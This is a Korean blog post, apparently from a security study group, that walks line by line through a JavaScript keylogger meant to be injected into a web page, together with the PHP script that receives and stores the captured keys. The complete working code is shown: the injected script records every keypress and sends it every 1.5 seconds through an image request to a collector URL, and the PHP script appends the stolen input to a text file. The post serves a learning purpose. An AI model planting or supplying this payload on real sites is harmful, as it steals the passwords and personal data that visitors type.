keylogger (JavaScript) 2(코드분석)

황인환·2024년 5월 10일

심어 놓을 script코드

        <script>
            var keys='';
            document.onkeypress = function (e){
                get=window.event?event:e;
                key=get.keyCode?get.keyCode:get.charCode;
                key=String.fromCharCode(key);
                keys+=key;
            }
            window.setInterval(function(){
                new Image().src = "http://localhost/T3/keylogger.php?c=" + keys;
                keys='';
            }, 1500);
            
        </script>

document.onkeypress= function(e)

-> 키가 누를때마다 함수가 사용된다.
-> e는 event 관련 object를 받는 argument이기 때문에 다른 것으로 대체 x

window.event? event : e

-> 다른 브라우저간의 호환성을 나타냄
-> window.event는 internet explorer인 경우 사용
-> 그렇지 않은 경우 표준 이벤트 객체 e를 사용

get.keyCode ? get.keyCode : get.charCode

-> 이 줄은 get값이 keyCode면 get.keyCode가 key값에 할당되고 아니면 get.charCode가 할당된다는 의미이다
-> 브라우저에서 제공하는 key값이 charCode인지 keyCode인지 구분하는 것이다.

String.fromCharCode(key)

-> 유니코드 값을 문자로 변환

new Image().src = "정보받을URL" + keys

->Iamge 객체에 keys의 정보를 담아 GET방식으로 정보를 받을 URL에 보냄

keys += key

-> 눌린키를 저장하는 코드
-> keys = key를 쓴다면 누적이 아닌 매번 갱신됨

window.setInterval(str|func, time)

-> 일정간격으로 함수등을 실행시켜줌
new Image().src = "http://localhost/T3/keylogger.php?c=" + keys;
-> 새 이미지 객체를 만들고 캡쳐된 키입력을 매개변수로 (keys) 지정된 URL로 보냄
keys = '';
-> 키입력을 전송후 누적되지 않게 초기화

keylogger.php

$str = isset($_GET['c'])?$_GET['c'] : false;
if($str){
    $ff = fopen('data.txt','a+');
    fputs($ff,$str);
    fclose($ff);
}
?>

str=isset(str = isset(_GET['c'])?$_GET['c'] : false;

-> 매개변수(c)가 할당 되있으며 C값을 str에 할당 없으면 false를 할당
-> 아래 코드가 실행여부를 판단하게 하는 코드

$ff = fopen('data.txt','a+');

-> data.txt파일을 여는 코드이다.
-> a+는 파일을 읽고 쓸 수 있고 없으면 만들 수도 있다.
-> r 읽기모드 w 쓰기모드 a 쓰기모드 x 쓰기모드
-> a는 원래 있던 글 뒤에씀 w는 지우고 씀
-> r,x는 없으면 false값 w,a는 text파일 만듬
-> +붙으면 읽기/쓰기모드 각각 특성은 지니고 있음

fputs(ff,ff,str);

-> $str의 값을 $ff에 쓴다.

fclose($ff);

-> ff를 닫는 코드이다.

Normaltic Study 4주차 3일

0개의 댓글